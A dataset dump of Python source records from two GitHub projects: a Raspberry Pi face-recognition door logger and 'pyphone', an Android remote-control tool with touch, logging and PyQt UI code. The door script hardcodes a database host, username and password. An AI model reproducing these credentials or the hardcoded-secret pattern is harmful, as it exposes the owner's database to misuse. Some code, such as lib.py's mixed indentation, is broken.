GPIO.output(TRIG,True)\n time.sleep(0.00001)\n GPIO.output(TRIG,False)\n while GPIO.input(ECHO) == 0:\n pulse_start = time.time()\n while GPIO.input(ECHO) == 1:\n pulse_end = time.time()\n pulse_duration = pulse_end - pulse_start\n distance = pulse_duration * 17150\n distance = round(distance,2)\n return distance\n\n# Decleare information about mysql and python \ndef commitdata(name,formatted_date):\n try:\n connection = mysql.connector.connect(host = \"103.95.197.126\",\n user = \"baopqspkt\",\n passwd = \"bao0985265185\",\n database = \"baopqspk_control\")\n sql_insert_query = \"\"\" INSERT INTO `Door`\n (`Day`,`Name`) VALUES (%s,%s)\"\"\"\n cursor = connection.cursor()\n result = cursor.execute(sql_insert_query,(formatted_date,name))\n connection.commit()\n #print (\"Commit Done\")\n except mysql.connector.Error as error :\n connection.rollback() #rollback if any exception occured\n #print (\"Commit Error {}\".format(error))\n finally:\n #closing database connection.\n if(connection.is_connected()):\n cursor.close()\n connection.close()\n\n# Declare Path\ndef pathinfor(dev):\n fulldir = \"/media/pi/\"+dev\n return fulldir\n\ndef deletefolder(fulldir,folder1,folder2):\n disk = os.statvfs(fulldir)\n totalAvailSpace = float(disk.f_bsize*disk.f_bfree)\n if (totalAvailSpace < 500):\n GPIO.output(space,True)\n else : \n GPIO.output(space,False)\n if (totalAvailSpace < 100):\n shutil.rmtree(folder1)\n shutil.rmtree(folder2)\n # re-make folder after delete\n if not os.path.isdir(folder1):\n os.makedirs(folder1)\n if not os.path.isdir(folder2):\n os.makedirs(folder2)\n print(\"Delete Done\")\n else:\n print (\"Not Delete Because Have More Space\")\n \ndef movefile(pathimagelocal,pathimageusb,pathvideolocal,pathvideousb):\n shutil.move(pathimagelocal,pathimageusb)\n shutil.move(pathvideolocal,pathvideousb)\n \ndef checkusb(pathimagelocal,pathvideolocal):\n Name = os.listdir(\"/media/pi/\")\n if (len(Name) > 0):\n pathimageusb = pathinfor(str(Name[0])) + \"/Image\"\n if not os.path.isdir(pathimageusb):\n os.makedirs(pathimageusb)\n pathvideousb = pathinfor(str(Name[0])) + \"/Video\"\n if not os.path.isdir(pathvideousb):\n os.makedirs(pathvideousb)\n deletefolder(pathinfor(str(Name[0])),pathimageusb,pathvideousb)\n movefile(pathimagelocal,pathimageusb,pathvideolocal,pathvideousb)\n else :\n print(\"Don't Have USB\")\n\ndata = pickle.loads(open(\"/home/pi/Desktop/code-on-rasp/encoding.pickle\", \"rb\").read())\ndetector = cv2.CascadeClassifier(\"/home/pi/Desktop/code-on-rasp/haarcascade_frontalface_default.xml\")\n\nvs = VideoStream(src=0).start()\n#vs = VideoStream(usePiCamera=True).start()\n\n\ntime.sleep(2.0)\nnow = datetime.now()\ndate = now.day\ndateold = date+1\n\nName = os.listdir(\"/media/pi/\")\nmypath = pathinfor(str(Name[0]))\n\n# loop over frames from the video file stream\nwhile True:\n while date != dateold:\n GPIO.output(TRIG,False)\n distance = ultra(TRIG,ECHO)\n print(distance)\n now = datetime.now()\n minute = now.minute\n hour = now.hour\n date = now.day\n month = now.month\n year = now.year\n frame = vs.read()\n frame = imutils.resize(frame, width = 600)\n if (distance > 50) and (distance < 100):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n rects = detector.detectMultiScale(gray, scaleFactor=1.1, \n minNeighbors=2, minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE)\n boxes = [(y, x + w, y + h, x) for (x, y, w, h) in rects]\n encodings = face_recognition.face_encodings(rgb, boxes)\n names = []\n for encoding in encodings:\n matches = face_recognition.compare_faces(data[\"encodings\"],\n encoding)\n name = \"Unknown\"\n # check to see if we have found a match\n if True in matches:\n matchedIdxs = [i for (i, b) in enumerate(matches) if b]\n counts = {}\n for i in matchedIdxs:\n name = data[\"names\"][i]\n counts[name] = counts.get(name, 0) + 1\n name = max(counts, key=counts.get)\n names.append(name)\n print(name)\n if (name == \"Unknown\"):\n print(\"Unknown\")\n pathimagelocal = \"/home/pi/Desktop/code-on-rasp/Nguoila\"\n pathimagelocalarg = pathimagelocal\n pathimagelocal= pathimagelocal + '/' + str(year) + '-' + str(month) + '-' + str(date) + '/'\n if not os.path.isdir(pathimagelocal):\n os.makedirs(pathimagelocal)\n frame = vs.read()\n cv2.imwrite(pathimagelocal + str(hour) + '-' + str(minute) + '-' + '.jpg',frame)\n break\n else:\n commitdata(name,formatted_date)\n GPIO.output(TRIG,True)\n time.sleep(5)\n GPIO.output(TRIG,False)\n break\n pathvideolocal = \"/home/pi/Desktop/code-on-rasp/output\" \n pathvideolocalarg = pathvideolocal\n pathvideolocal = pathvideolocal + '/' + str(date) + '-' + str(month) + '-' + str(year) \n if not os.path.isdir(pathvideolocal):\n os.makedirs(pathvideolocal)\n pathvideolocal = pathvideolocal + \"/home.avi\"\n if writer is None and pathvideolocal is not None:\n fourcc = cv2.VideoWriter_fourcc(*'XVID')\n writer = cv2.VideoWriter(pathvideolocal, fourcc, 5.0 ,\n (frame.shape[1],frame.shape[0]), True)\n if writer is not None:\n writer.write(frame)\n cv2.imshow(\"Frame\", frame)\n \n checkusb(pathimagelocalarg,pathvideolocalarg)\n dateold = date + 1\ncv2.destroyAllWindows()\nvs.stop() \n#Move file Video to USB\n#pathvideousb = \"/media/pi/KINGSTON/Video/output\"\n#Delete file before copy to usb\n#shutil.rmtree(pathvideousb) \n#shutil.move(\"/home/pi/Downloads/pi-face-recognition/output\",\"/media/pi/KINGSTON/Video\")\n#shutil.move(\"/home/pi/Downloads/pi-face-recognition/Nguoila\",\"/media/pi/KINGSTON/Nguoila\")\n#check to see if the video writer point needs to be release\nif writer is not None:\n writer.release() " }, { "alpha_fraction": 0.5897436141967773, "alphanum_fraction": 0.6047008633613586, "avg_line_length": 15.407407760620117, "blob_id": "edc085b9f77a2ee24795c17c8791b41d66730379", "content_id": "94bb413ea3adf17f3af8a474bdfd9d714039a0f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 468, "license_type": "no_license", "max_line_length": 49, "num_lines": 27, "path": "/Lib/ex1.py", "repo_name": "Baopqspkt/code-on-rasp", "src_encoding": "UTF-8", "text": "# cd /home/pi/Downloads/pi-face-recognition/Lib\r\n\r\nimport lib\r\nimport time \r\nimport RPi.GPIO as GPIO\r\nGPIO.setmode(GPIO.BCM)\r\n\r\nTRIG = 23\r\nECHO = 24\r\nled = 25\r\n\r\nGPIO.setwarnings(False) \r\n\r\nGPIO.setup(TRIG,GPIO.OUT)\r\nGPIO.setup(ECHO,GPIO.IN)\r\nGPIO.setup(led,GPIO.OUT)\r\n\r\nlib.ex('Hello')\r\n\r\nwhile True:\r\n c = lib.ultra(TRIG,ECHO)\r\n if c < 5:\r\n print (\"error\")\r\n GPIO.output(led,False)\r\n else:\r\n print (c)\r\n GPIO.output(led,True)" }, { "alpha_fraction": 0.5471349358558655, "alphanum_fraction": 0.5887246131896973, "avg_line_length": 19.19607925415039, "blob_id": "93391250cd43b8e869efa7161e89a11315ad5ed8", "content_id": "b366ba793974f0ee1e58845d447256d77bfa8d6b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 84, "num_lines": 51, "path": "/Lib/lib.py", "repo_name": "Baopqspkt/code-on-rasp", "src_encoding": "UTF-8", "text": "import RPi.GPIO as GPIO\r\nimport time \r\n\r\nGPIO.setmode(GPIO.BCM)\r\n\r\ndef ex(data):\r\n\tprint(data)\r\ndef plus(a,b):\r\n\treturn a+b\r\ndef ultra(TRIG,ECHO):\r\n\tGPIO.output(TRIG, False)\r\n\ttime.sleep(2)\r\n\t\r\n\tGPIO.output(TRIG,True)\r\n\ttime.sleep(0.00001)\r\n\tGPIO.output(TRIG,False)\r\n pulse_start = 0\r\n pulse_end = 0\r\n\twhile GPIO.input(ECHO) == 0:\r\n\t\tpulse_start = time.time()\r\n\t\t\r\n\twhile GPIO.input(ECHO) == 1:\r\n\t\tpulse_end = time.time()\r\n\t\r\n\tpulse_duration = pulse_end - pulse_start\r\n\t\r\n\tdistance = pulse_duration * 17150\r\n\tdistance = round(distance,2)\r\n\t\r\n\treturn distance\r\n\t\r\ndef lamp(hour,load):\r\n\tif hour > 18 or hour < 6:\r\n\t\tGPIO.output(load,True)\r\n\telse:\r\n\t\tGPIO.output(load,False)\r\n\r\ndef move(path):\r\n\tshutil.rmtree(path)\r\n\r\ndef keyinit():\r\n\tKEYPAD = [\r\n [\"1\",\"2\",\"3\",\"A\"],\r\n [\"4\",\"5\",\"6\",\"B\"],\r\n [\"7\",\"8\",\"9\",\"C\"],\r\n [\"*\",\"0\",\"#\",\"D\"]\r\n\t]\r\n\tROW_PINS = [4, 14, 15, 17] # BCM numbering\r\n\tCOL_PINS = [18, 27, 22, 23] # BCM numbering\r\n\tfactory = rpi_gpio.KeypadFactory()\r\n\tkeypad = factory.create_keypad(keypad=KEYPAD, row_pins=ROW_PINS, col_pins=COL_PINS)\r\n\t" } ]
4
ZhianLin/pyphone
https://github.com/ZhianLin/pyphone
e311c34be3a47dc830399dd5451021a35d2d5494
28d967eb4136e58a96d0589f317c4b865969b23a
54446ddeb2c27311ad19aca2dc11df1a71e5e15d
refs/heads/master
2022-08-01T00:34:31.250988
2020-05-25T11:53:17
2020-05-25T11:53:17
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5762224197387695, "alphanum_fraction": 0.5848513841629028, "avg_line_length": 26.447368621826172, "blob_id": "477fc341be4a1bf2321cee3e2bc242f1192a5061", "content_id": "33d740cf1d0343fe2fcc8b20db72a7027a5851db", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1043, "license_type": "no_license", "max_line_length": 96, "num_lines": 38, "path": "/logger.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport sys\nimport os\nimport logging\n\n\ndef create_logger(name, logfile, level=logging.DEBUG, with_console=True):\n log = logging.getLogger(name)\n log.setLevel(level)\n\n formatter = logging.Formatter(\"[%(levelname)-7s][%(asctime)s]\"\n \"[%(filename)s:%(lineno)3d] %(message)s\", \"%Y/%m/%d %H:%M:%S\")\n\n if with_console:\n h1 = logging.StreamHandler(sys.stdout)\n h1.setFormatter(formatter)\n log.addHandler(h1)\n\n d = os.path.dirname(logfile)\n if d != \"\" and not os.path.exists(d):\n try:\n os.makedirs(os.path.dirname(logfile))\n except OSError as e:\n log.warning(\"Unable to create log file at %s, Exp -> %s\" % (logfile, repr(e)))\n return log\n\n h2 = logging.FileHandler(logfile)\n h2.setFormatter(formatter)\n log.addHandler(h2)\n\n return log\n\n\nlogger = create_logger(__name__, './pyphone.log')\n\nif __name__ == \"__main__\":\n logger = create_logger(__name__, \"./log.txt\")\n logger.debug(\"Hello World\")\n" }, { "alpha_fraction": 0.4660886526107788, "alphanum_fraction": 0.47727590799331665, "avg_line_length": 31.65296745300293, "blob_id": "73b5d94eecac632f990576d8c8eec3d176a252eb", "content_id": "9dcbf53ae2bc4e19b2bf359339cb6082eedd911a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7437, "license_type": "no_license", "max_line_length": 111, "num_lines": 219, "path": "/touch.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport socket\nimport time\nfrom threading import Thread\nfrom logger import logger\nimport adb_helper\nimport config\n\n\nclass Touch:\n\n CLICK = \"click\"\n SWIPE = \"swipe\"\n TEXT = \"text\"\n # 上滑(从下向上)\n SWIPE_DIR_UP = \"up\"\n # 下滑(从上向下)\n SWIPE_DIR_DOWN = \"down\"\n # 左滑(从右向左)\n SWIPE_DIR_LEFT = \"left\"\n # 右滑(从左向右)\n SWIPE_DIR_RIGHT = \"right\"\n\n SWIPE_RANGE = 50\n SWIPE_STEP = 1\n\n def __init__(self):\n self.pid = -1\n self.tcp_sock = None\n self.rate = 1\n self.max_x = 0\n self.max_y = 0\n\n def parse_mitouch_head(self):\n buff = []\n try:\n data = self.tcp_sock.recv(1024).decode(\"utf-8\")\n buff.append(data)\n except socket.timeout:\n pass\n head = \"\".join(buff)\n logger.debug(\"minitouch head: %s\" % head)\n if head.find(\"$\") < 0:\n logger.warning(\"minitouch pid not found\")\n # 此处置0,后面杀进程时并不使用这个pid\n self.pid = 0\n else:\n self.pid = int(head.split(\"$\")[-1].strip())\n logger.info(\"minitouch pid: %d\" % self.pid)\n\n def start(self, host, port):\n logger.debug(\"connect minitouch on %s:%d\" % (host, port))\n self.tcp_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.tcp_sock.settimeout(0.8)\n ret = self.tcp_sock.connect_ex((host, port))\n if ret != 0:\n logger.error(\"failed\")\n return False\n logger.debug(\"connected\")\n t = Thread(target=self.parse_mitouch_head)\n t.start()\n return True\n\n def close_socket(self):\n if self.tcp_sock:\n self.tcp_sock.close()\n self.tcp_sock = None\n\n def stop(self):\n if self.tcp_sock:\n self.tcp_sock.close()\n self.tcp_sock = None\n if self.pid != -1:\n ret = adb_helper.p_kill(config.MINITOUCH)\n if not ret:\n logger.error(\"fail to kill minitouch\")\n else:\n self.pid = -1\n\n def send_touch_cmd(self, cmd):\n try:\n self.tcp_sock.sendall(cmd)\n except ConnectionAbortedError as err:\n logger.error(\"socket already closed by remote: %s\" % err)\n return False\n except BrokenPipeError as err:\n logger.error(\"socket is broken: %s\" % err)\n return False\n return True\n\n def press(self, x, y):\n logger.debug(\"press at %d, %d\" % (x, y))\n return self.send_touch_cmd(b\"d 0 %d %d 10\\nc\\n\" % (int(x / self.rate), int(y / self.rate)))\n\n def release(self):\n logger.debug(\"release\")\n return self.send_touch_cmd(b\"u 0\\nc\\n\")\n\n def swiping(self, x, y):\n # logger.debug(\"swiping at %d, %d\" % (x, y))\n return self.send_touch_cmd(b\"m 0 %d %d 10\\nc\\n\" % (int(x / self.rate), int(y / self.rate)))\n\n def set_rate(self, rate):\n self.rate = rate\n\n @staticmethod\n def swipe_delay(seconds=0.01):\n if seconds < 0.1:\n for i in range(100000):\n pass\n else:\n time.sleep(seconds)\n\n @staticmethod\n def _reset_xy(x0, y0, x1, y1):\n if x0 == -1:\n x0 = x1\n if y0 == -1:\n y0 = y1\n return x0, y0\n \n def op(self, op_dict):\n # 如果是滑动操作,则放到单独的线程中去做\n if op_dict.get(\"cmd\") == self.SWIPE:\n t = Thread(target=self._op, args=(op_dict, ))\n t.start()\n return t\n else:\n self._op(op_dict)\n \n def _op(self, op_dict):\n cmd = op_dict.get(\"cmd\")\n if cmd is None:\n return False\n if cmd == self.CLICK:\n x, y = op_dict.get(\"x\", 0), op_dict.get(\"y\", 0)\n self.press(x, y)\n elif cmd == self.SWIPE:\n logger.debug(\"swipe\")\n _dir = op_dict.get(\"direction\", -1)\n from_x, from_y, to_x, to_y = op_dict.get(\"from_x\", -1), op_dict.get(\"from_y\", -1), \\\n op_dict.get(\"to_x\", -1), op_dict.get(\"to_y\", -1)\n if _dir not in (self.SWIPE_DIR_UP, self.SWIPE_DIR_DOWN, self.SWIPE_DIR_LEFT, self.SWIPE_DIR_RIGHT):\n logger.error(\"bad direction: %s\" % _dir)\n return False\n target_x, target_y = int(self.max_x / 2), int(self.max_y / 2)\n logger.debug(\"target_x, target_y = %d, %d\" % (target_x, target_y))\n # 特别的,如果指明了这是了\"border\": \"yes\",则从边缘开始操作,一般用于下拉时调出设置面板或右滑动返回上一页面\n border = op_dict.get(\"border\", \"no\")\n step = op_dict.get(\"step\", 1)\n # 网上滑动做了特别处理,用于解决多屏截图的问题,其它方向暂不修改 comment by apache 2020/4/14\n if _dir == self.SWIPE_DIR_UP:\n logger.debug(\"up\")\n if to_y != -1:\n target_y = to_y\n elif border == \"yes\":\n target_y = self.max_y\n from_x, from_y = Touch._reset_xy(from_x, from_y, target_x, target_y)\n logger.debug(\"from_x, from_y = %d, %d\" % (from_x, from_y))\n self.press(from_x, from_y)\n y = from_y\n while y >= target_y:\n self.swipe_delay()\n self.swiping(target_x, y)\n y -= step\n\n elif _dir == self.SWIPE_DIR_RIGHT:\n logger.debug(\"right\")\n if border == \"yes\":\n target_x = 0\n target_y = int(self.max_y / 3)\n self.press(target_x, target_y)\n for i in range(0, self.SWIPE_RANGE, self.SWIPE_STEP):\n if target_x + i > self.max_x:\n break\n self.swipe_delay()\n self.swiping(target_x + i, target_y)\n elif _dir == self.SWIPE_DIR_DOWN:\n logger.debug(\"down\")\n if border == \"yes\":\n target_y = 0\n self.press(target_x, target_y)\n for i in range(0, self.SWIPE_RANGE, self.SWIPE_STEP):\n if target_y + i > self.max_y:\n break\n self.swipe_delay()\n self.swiping(target_x, target_y + i)\n elif _dir == self.SWIPE_DIR_LEFT:\n if border == \"yes\":\n target_x = self.max_x\n self.press(target_x, target_y)\n logger.debug(\"left\")\n for i in range(0, self.SWIPE_RANGE, self.SWIPE_STEP):\n if target_x - i < 0:\n break\n self.swipe_delay()\n self.swiping(target_x - i, target_y)\n elif cmd == self.TEXT:\n text = op_dict.get(\"text\", \"\")\n if text is None:\n return False\n self.send_text(text)\n return True\n else:\n return False\n\n if cmd == self.SWIPE:\n self.swipe_delay(1)\n self.release()\n\n return True\n\n def set_max_xy(self, x, y):\n logger.debug(\"max x, y = %d, %d\" % (x, y))\n self.max_x, self.max_y = x, y\n\n @staticmethod\n def send_text(text):\n adb_helper.input_text(text)\n" }, { "alpha_fraction": 0.6968796253204346, "alphanum_fraction": 0.7036972045898438, "avg_line_length": 55.08333206176758, "blob_id": "866085c61ae84b58c87dad6ae13e4425d5d50e77", "content_id": "bfa186e3d766081a213e5f519b6a89bc8e1290f4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11441, "license_type": "no_license", "max_line_length": 111, "num_lines": 204, "path": "/ui/ui_mainwindow.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\n# Form implementation generated from reading ui file '../resource/main_window.ui'\n#\n# Created by: PyQt5 UI code generator 5.11.3\n#\n# WARNING! All changes made in this file will be lost!\n\nfrom PyQt5 import QtCore, QtGui, QtWidgets\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(320, 720)\n icon = QtGui.QIcon()\n icon.addPixmap(QtGui.QPixmap(\":/app/icons/logo/pyphone48.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n MainWindow.setWindowIcon(icon)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.screen = Screen(self.centralwidget)\n self.screen.setGeometry(QtCore.QRect(0, 0, 320, 720))\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(self.screen.sizePolicy().hasHeightForWidth())\n self.screen.setSizePolicy(sizePolicy)\n self.screen.setMinimumSize(QtCore.QSize(0, 0))\n self.screen.setSizeIncrement(QtCore.QSize(0, 0))\n self.screen.setStyleSheet(\"\")\n self.screen.setFrameShape(QtWidgets.QFrame.StyledPanel)\n self.screen.setFrameShadow(QtWidgets.QFrame.Raised)\n self.screen.setObjectName(\"screen\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 320, 23))\n self.menubar.setObjectName(\"menubar\")\n self.menuFile = QtWidgets.QMenu(self.menubar)\n self.menuFile.setEnabled(True)\n self.menuFile.setObjectName(\"menuFile\")\n self.menuDevices = QtWidgets.QMenu(self.menuFile)\n self.menuDevices.setObjectName(\"menuDevices\")\n self.menuHelp = QtWidgets.QMenu(self.menubar)\n self.menuHelp.setObjectName(\"menuHelp\")\n self.menuEdit = QtWidgets.QMenu(self.menubar)\n self.menuEdit.setEnabled(False)\n self.menuEdit.setObjectName(\"menuEdit\")\n self.menuRotation = QtWidgets.QMenu(self.menuEdit)\n self.menuRotation.setObjectName(\"menuRotation\")\n self.menuImageQuality = QtWidgets.QMenu(self.menuEdit)\n self.menuImageQuality.setObjectName(\"menuImageQuality\")\n MainWindow.setMenuBar(self.menubar)\n self.actionStart = QtWidgets.QAction(MainWindow)\n self.actionStart.setEnabled(False)\n icon1 = QtGui.QIcon()\n icon1.addPixmap(QtGui.QPixmap(\":/app/icons/app/connected.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionStart.setIcon(icon1)\n self.actionStart.setShortcutVisibleInContextMenu(False)\n self.actionStart.setObjectName(\"actionStart\")\n self.actionAbout = QtWidgets.QAction(MainWindow)\n self.actionAbout.setObjectName(\"actionAbout\")\n self.actionDonate = QtWidgets.QAction(MainWindow)\n icon2 = QtGui.QIcon()\n icon2.addPixmap(QtGui.QPixmap(\":/app/icons/app/donate.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionDonate.setIcon(icon2)\n self.actionDonate.setObjectName(\"actionDonate\")\n self.actionStop = QtWidgets.QAction(MainWindow)\n self.actionStop.setEnabled(False)\n icon3 = QtGui.QIcon()\n icon3.addPixmap(QtGui.QPixmap(\":/app/icons/app/disconnected.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionStop.setIcon(icon3)\n self.actionStop.setObjectName(\"actionStop\")\n self.actionShare = QtWidgets.QAction(MainWindow)\n self.actionShare.setEnabled(False)\n icon4 = QtGui.QIcon()\n icon4.addPixmap(QtGui.QPixmap(\":/app/icons/app/plugin_on.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionShare.setIcon(icon4)\n self.actionShare.setObjectName(\"actionShare\")\n self.actionRemote_screen = QtWidgets.QAction(MainWindow)\n icon5 = QtGui.QIcon()\n icon5.addPixmap(QtGui.QPixmap(\":/app/icons/app/customer_on.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionRemote_screen.setIcon(icon5)\n self.actionRemote_screen.setObjectName(\"actionRemote_screen\")\n self.actionSend_Text = QtWidgets.QAction(MainWindow)\n self.actionSend_Text.setObjectName(\"actionSend_Text\")\n self.actionHome = QtWidgets.QAction(MainWindow)\n icon6 = QtGui.QIcon()\n icon6.addPixmap(QtGui.QPixmap(\":/app/icons/app/home.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionHome.setIcon(icon6)\n self.actionHome.setObjectName(\"actionHome\")\n self.actionLock_Unlocak = QtWidgets.QAction(MainWindow)\n self.actionLock_Unlocak.setEnabled(True)\n icon7 = QtGui.QIcon()\n icon7.addPixmap(QtGui.QPixmap(\":/app/icons/app/unlock.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionLock_Unlocak.setIcon(icon7)\n self.actionLock_Unlocak.setObjectName(\"actionLock_Unlocak\")\n self.actionBack = QtWidgets.QAction(MainWindow)\n self.actionBack.setObjectName(\"actionBack\")\n self.actionMenu = QtWidgets.QAction(MainWindow)\n self.actionMenu.setObjectName(\"actionMenu\")\n self.actionSend_text = QtWidgets.QAction(MainWindow)\n icon8 = QtGui.QIcon()\n icon8.addPixmap(QtGui.QPixmap(\":/app/icons/app/keyboard.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionSend_text.setIcon(icon8)\n self.actionSend_text.setObjectName(\"actionSend_text\")\n self.actionDisable_share = QtWidgets.QAction(MainWindow)\n self.actionDisable_share.setEnabled(False)\n self.actionDisable_share.setObjectName(\"actionDisable_share\")\n self.actionRecorder = QtWidgets.QAction(MainWindow)\n icon9 = QtGui.QIcon()\n icon9.addPixmap(QtGui.QPixmap(\":/app/icons/app/recording.png\"), QtGui.QIcon.Normal, QtGui.QIcon.Off)\n self.actionRecorder.setIcon(icon9)\n self.actionRecorder.setObjectName(\"actionRecorder\")\n self.actionScreenshots = QtWidgets.QAction(MainWindow)\n self.actionScreenshots.setObjectName(\"actionScreenshots\")\n self.actionStop_recorder = QtWidgets.QAction(MainWindow)\n self.actionStop_recorder.setEnabled(False)\n self.actionStop_recorder.setObjectName(\"actionStop_recorder\")\n self.actionQuit = QtWidgets.QAction(MainWindow)\n self.actionQuit.setObjectName(\"actionQuit\")\n self.actionVertical = QtWidgets.QAction(MainWindow)\n self.actionVertical.setObjectName(\"actionVertical\")\n self.actionHorizontal = QtWidgets.QAction(MainWindow)\n self.actionHorizontal.setObjectName(\"actionHorizontal\")\n self.actionLow = QtWidgets.QAction(MainWindow)\n self.actionLow.setObjectName(\"actionLow\")\n self.actionMid = QtWidgets.QAction(MainWindow)\n self.actionMid.setObjectName(\"actionMid\")\n self.actionHigh = QtWidgets.QAction(MainWindow)\n self.actionHigh.setObjectName(\"actionHigh\")\n self.action1 = QtWidgets.QAction(MainWindow)\n self.action1.setObjectName(\"action1\")\n self.menuFile.addAction(self.menuDevices.menuAction())\n self.menuFile.addAction(self.actionStart)\n self.menuFile.addAction(self.actionStop)\n self.menuFile.addSeparator()\n self.menuFile.addAction(self.actionShare)\n self.menuFile.addSeparator()\n self.menuFile.addAction(self.actionRemote_screen)\n self.menuFile.addSeparator()\n self.menuFile.addAction(self.actionQuit)\n self.menuHelp.addAction(self.actionDonate)\n self.menuHelp.addAction(self.actionAbout)\n self.menuRotation.addAction(self.actionVertical)\n self.menuRotation.addAction(self.actionHorizontal)\n self.menuEdit.addAction(self.actionLock_Unlocak)\n self.menuEdit.addAction(self.menuRotation.menuAction())\n self.menuEdit.addAction(self.menuImageQuality.menuAction())\n self.menuEdit.addSeparator()\n self.menuEdit.addAction(self.actionHome)\n self.menuEdit.addAction(self.actionBack)\n self.menuEdit.addAction(self.actionMenu)\n self.menuEdit.addSeparator()\n self.menuEdit.addAction(self.actionRecorder)\n self.menuEdit.addAction(self.actionScreenshots)\n self.menuEdit.addSeparator()\n self.menuEdit.addAction(self.actionSend_text)\n self.menubar.addAction(self.menuFile.menuAction())\n self.menubar.addAction(self.menuEdit.menuAction())\n self.menubar.addAction(self.menuHelp.menuAction())\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"pyphone\"))\n self.menuFile.setTitle(_translate(\"MainWindow\", \"&File\"))\n self.menuDevices.setTitle(_translate(\"MainWindow\", \"Devices\"))\n self.menuHelp.setTitle(_translate(\"MainWindow\", \"&Help\"))\n self.menuEdit.setTitle(_translate(\"MainWindow\", \"&Edit\"))\n self.menuRotation.setTitle(_translate(\"MainWindow\", \"Rotation\"))\n self.menuImageQuality.setTitle(_translate(\"MainWindow\", \"Image quality\"))\n self.actionStart.setText(_translate(\"MainWindow\", \"&Start\"))\n self.actionStart.setShortcut(_translate(\"MainWindow\", \"F5\"))\n self.actionAbout.setText(_translate(\"MainWindow\", \"About\"))\n self.actionDonate.setText(_translate(\"MainWindow\", \"Donate\"))\n self.actionStop.setText(_translate(\"MainWindow\", \"S&top\"))\n self.actionStop.setShortcut(_translate(\"MainWindow\", \"F4\"))\n self.actionShare.setText(_translate(\"MainWindow\", \"Enable s&hare\"))\n self.actionRemote_screen.setText(_translate(\"MainWindow\", \"&Connect remote screen ...\"))\n self.actionSend_Text.setText(_translate(\"MainWindow\", \"Send Text\"))\n self.actionHome.setText(_translate(\"MainWindow\", \"&Home\"))\n self.actionHome.setShortcut(_translate(\"MainWindow\", \"Home\"))\n self.actionLock_Unlocak.setText(_translate(\"MainWindow\", \"&Lock/Unlocak\"))\n self.actionLock_Unlocak.setShortcut(_translate(\"MainWindow\", \"Ctrl+L\"))\n self.actionBack.setText(_translate(\"MainWindow\", \"&Back\"))\n self.actionMenu.setText(_translate(\"MainWindow\", \"&Menu\"))\n self.actionSend_text.setText(_translate(\"MainWindow\", \"Send te&xt\"))\n self.actionSend_text.setShortcut(_translate(\"MainWindow\", \"Ctrl+T\"))\n self.actionDisable_share.setText(_translate(\"MainWindow\", \"&Disable share\"))\n self.actionRecorder.setText(_translate(\"MainWindow\", \"Start &video recorder...\"))\n self.actionRecorder.setShortcut(_translate(\"MainWindow\", \"F9\"))\n self.actionScreenshots.setText(_translate(\"MainWindow\", \"S&creenshots\"))\n self.actionStop_recorder.setText(_translate(\"MainWindow\", \"Stop video recorder...\"))\n self.actionQuit.setText(_translate(\"MainWindow\", \"&Quit\"))\n self.actionVertical.setText(_translate(\"MainWindow\", \"Vertical\"))\n self.actionHorizontal.setText(_translate(\"MainWindow\", \"Horizontal\"))\n self.actionLow.setText(_translate(\"MainWindow\", \"Low(720P)\"))\n self.actionMid.setText(_translate(\"MainWindow\", \"Medium(1080P)\"))\n self.actionHigh.setText(_translate(\"MainWindow\", \"High(Orignal)\"))\n self.action1.setText(_translate(\"MainWindow\", \"1\"))\n\nfrom widgets.screen import Screen\nimport icons_rc\n" }, { "alpha_fraction": 0.5782060623168945, "alphanum_fraction": 0.5871015787124634, "avg_line_length": 28.9777774810791, "blob_id": "30cb84f962c21e7beba164b5e8979c700d968995", "content_id": "c24c17c979c089d070a4cdc8ad34f5360785dd5a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1349, "license_type": "no_license", "max_line_length": 86, "num_lines": 45, "path": "/plugins/red_envelope/apiutil.py", "repo_name": "ZhianLin/pyphone", "src_encoding": "UTF-8", "text": "# -*- coding: UTF-8 -*-\nimport hashlib\nimport urllib\nimport base64\nimport time\nimport requests\n\n\ndef set_params(array, key, value):\n array[key] = 